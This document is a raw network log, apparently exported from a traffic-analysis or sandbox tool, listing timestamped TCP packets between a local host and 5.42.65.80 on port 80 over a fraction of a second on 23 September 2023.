Sep 23, 2023 17:53:23.750284910 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.750400066 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.750415087 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.750454903 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.750477076 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.750505924 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.750544071 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.750699997 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.750737906 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.750818968 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.750873089 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.750921011 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.751049995 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.751101971 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.751147985 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.751157045 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.751261950 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.751373053 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.751400948 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.751426935 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.751569033 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.751610041 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.751776934 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.751873016 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.751943111 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.751945972 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.752015114 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.752077103 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.752079010 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.752135992 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.752173901 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.752182961 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.752238989 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.752315998 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.752326965 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.752350092 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.752612114 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.752842903 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.752891064 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.752901077 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.752929926 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.752966881 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.753005981 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.753108978 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.753253937 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.753288031 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.753560066 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.753691912 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.753732920 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.753842115 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.753941059 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.753982067 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.753985882 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.754003048 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.754021883 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.754080057 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.754158020 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.754221916 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.754422903 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.754460096 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.754524946 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.754626989 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.754750967 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.754792929 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.754808903 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.754825115 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.754863024 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.754930019 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.754968882 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.755007982 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.755228996 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.755270004 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.755294085 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.755347967 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.755387068 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.755390882 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.755441904 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.755515099 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.755553007 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.755553961 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.755588055 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.755626917 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.755639076 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.755672932 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.755712032 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.755764961 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.755805016 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.755872965 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.755923033 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.755960941 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.756031036 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.756071091 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.756129980 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.756165981 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.756165981 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.756217003 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.756268024 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.756270885 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.756309032 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.756366014 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.756383896 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.756423950 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.756500006 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.756516933 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.756567955 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.756649971 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.756730080 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.756767035 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.756807089 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.757550955 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.757600069 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.757658005 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.757680893 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.757720947 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.757745981 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.757911921 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.757949114 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.758018970 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.758080959 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.758183002 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.758220911 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.758260012 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.758574009 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.758584976 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.758630991 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.758646965 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.758723021 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.758795977 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.758835077 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.758918047 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.758959055 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.759021997 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.759135008 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.759186029 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.759222031 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.759342909 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.759742022 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.759757996 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.759788036 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.759800911 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.759826899 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.759900093 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.760010004 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.760047913 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.760425091 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.760478973 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.760515928 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.760523081 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.760551929 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.760585070 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.760763884 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.760780096 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.760854006 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.760862112 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.760974884 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.761014938 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.761111975 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.761147022 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.761185884 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.761260033 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.761297941 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.761322975 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.761516094 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.761559963 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.761584044 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.761671066 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.761712074 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.761750937 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.761761904 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.761920929 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.761957884 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.761997938 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.762038946 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.762043953 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.762177944 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.762216091 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.762217999 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.762341022 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.762379885 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.762511015 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.762595892 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.762630939 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.762713909 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.762801886 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.762913942 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.762952089 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.763060093 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.763160944 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.763269901 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.763323069 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.763437986 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.763457060 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.763535023 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.763613939 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.763653994 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.763784885 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.763968945 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.764013052 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.764030933 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.764065981 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.764147997 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.764296055 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.764336109 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.764362097 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.764502048 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.764542103 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.764760017 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.764775991 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.764821053 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.764889956 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.764978886 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.765517950 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.765605927 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.765630007 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.765759945 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.765800953 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.765880108 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.765917063 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.765954971 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.766027927 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.766064882 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.766103029 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.766237020 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.766273975 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.766335011 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.766429901 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.766473055 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.766829014 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.766882896 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.766923904 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.766966105 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.766984940 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.767002106 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.767040968 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.767066956 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.767105103 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.767113924 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.767191887 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.767230988 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.767247915 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.767524004 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.767611980 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.767632008 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.767699957 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.767774105 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.767813921 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.767977953 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.768016100 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.768084049 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.768558979 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.768574953 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.768611908 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.768695116 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.768743038 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.768785954 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.768809080 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.768845081 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.768866062 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.768987894 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.769032001 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.769758940 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.769886017 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.769974947 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.770102024 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.770350933 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.770390987 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.770454884 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.770472050 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.770514011 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.770553112 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.770601988 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.770668030 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.770708084 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.770775080 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.770829916 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.770867109 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.770867109 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.770905972 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.771033049 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.771147966 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.771187067 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.771338940 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.771536112 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.771576881 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.771589041 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.771657944 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.771785975 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.771826029 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.771864891 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.771971941 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.772128105 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.772217989 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.772979975 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.773020029 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.773060083 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.773257017 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.773302078 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.773303986 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.773413897 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.773467064 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.773534060 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.773575068 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.773633003 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.773686886 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.773731947 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.773740053 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.773809910 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.773852110 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.773890972 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.773984909 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.774110079 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.774126053 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.774153948 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.774174929 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.774190903 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.774360895 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.774420977 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.774657011 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.774888039 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.774933100 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.774957895 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.775038958 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.775413990 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.775460958 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.775557041 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.775762081 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.775778055 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.775810957 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.775823116 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.775851965 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.775876999 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.775933981 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.775975943 CEST	80	49781	5.42.65.80	192.168.2.4
